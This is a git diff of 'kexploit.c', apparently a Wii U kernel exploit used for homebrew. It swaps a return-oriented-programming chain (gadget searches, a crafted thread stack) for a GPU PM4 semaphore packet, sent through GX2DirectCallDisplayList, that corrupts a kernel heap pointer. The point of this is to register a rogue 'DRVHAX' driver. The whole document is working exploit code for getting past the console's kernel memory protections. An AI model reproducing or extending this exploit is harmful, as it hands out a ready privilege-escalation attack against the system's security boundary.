diff --git a/kexploit.c b/kexploit.c index 0deb371..c3570ac 100644 --- a/kexploit.c +++ b/kexploit.c @@ -64,8 +64,10 @@ void run_kexploit(uint32_t coreinit_handle){ /* GX2 functions */ void (*GX2SetSemaphore)(uint64_t *sem, int32_t action); void (*GX2Flush)(void); + void (*GX2DirectCallDisplayList)(void* arg, uint32_t size); OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush); + OSDynLoad_FindExport(gx2_handle, 0, "GX2DirectCallDisplayList", &GX2DirectCallDisplayList); /* Allocate space for DRVHAX */ uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); @@ -76,65 +78,31 @@ void run_kexploit(uint32_t coreinit_handle){ metadata[1] = (uint32_t)-0x4c; metadata[2] = (uint32_t)-1; metadata[3] = (uint32_t)-1; - - /* Find some gadgets */ - uint32_t gx2data[] = {0xfc2a0000}; - uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); - uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); - uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; - uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); - uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; - uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; - - /* Modify a next ptr on the heap */ + uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; - /* Make a thread to modify the semaphore */ - OSContext *thread = (OSContext*)MEMAllocFromDefaultHeapEx(0x1000, 8); - uint32_t *stack = (uint32_t*)MEMAllocFromDefaultHeapEx(0xA0, 0x20); - if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) { - OSFatal("Failed to create thread"); - } - - /* Set up the ROP chain */ - thread->gpr[1] = (uint32_t)stack; - thread->gpr[3] = kpaddr; - thread->gpr[30] = gx2data_addr; - thread->gpr[31] = 1; - thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; - - stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ - stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ - stack[0x2c/4] = 1; /* r31 = 1 (signal) */ - - stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ - stack[0x38/4] = kpaddr; - - stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ - - stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ - stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ - stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ - - stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ - - stack[0x94/4] = (uint32_t)OSExitThread; - - DCFlushRange(thread, 0x1000); - DCFlushRange(stack, 0x1000); - - /* Start the thread */ - OSResumeThread(thread); + uint32_t* pm4 = (uint32_t*)MEMAllocFromDefaultHeapEx(0x20, 0x1000); + + for(uint32_t i = 0;i<0x20/0x04;i++){pm4[i] = 0;}; + + pm4[0] |= 0xC0013900; //PACKET3_MEM_SEMAPHORE + pm4[1] |= kpaddr; //ADDR_LO = target + pm4[2] |= 0xC0000000; //SEL semaphore signal + pm4[3] |= 0x80000000; //nop + pm4[4] |= 0x80000000; //nop + pm4[5] |= 0x80000000; //nop + pm4[6] |= 0x80000000; //nop + pm4[7] |= 0x80000000; //nop + + DCFlushRange(pm4, 0x20); - /* Wait for a while */ - while(OSIsThreadTerminated(thread) == 0) { - OSYieldThread(); - } + //GX2Init(NULL); + GX2DirectCallDisplayList((void*)pm4, 8 * sizeof(uint32_t)); // increment value of kpaddr by 0x01000000 + GX2DirectCallDisplayList((void*)pm4, 8 * sizeof(uint32_t)); // increment value of kpaddr by 0x01000000 - /* Free stuff */ - MEMFreeToDefaultHeap(thread); - MEMFreeToDefaultHeap(stack); + GX2Flush(); + + MEMFreeToDefaultHeap(pm4); /* Register a new OSDriver, DRVHAX */ char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};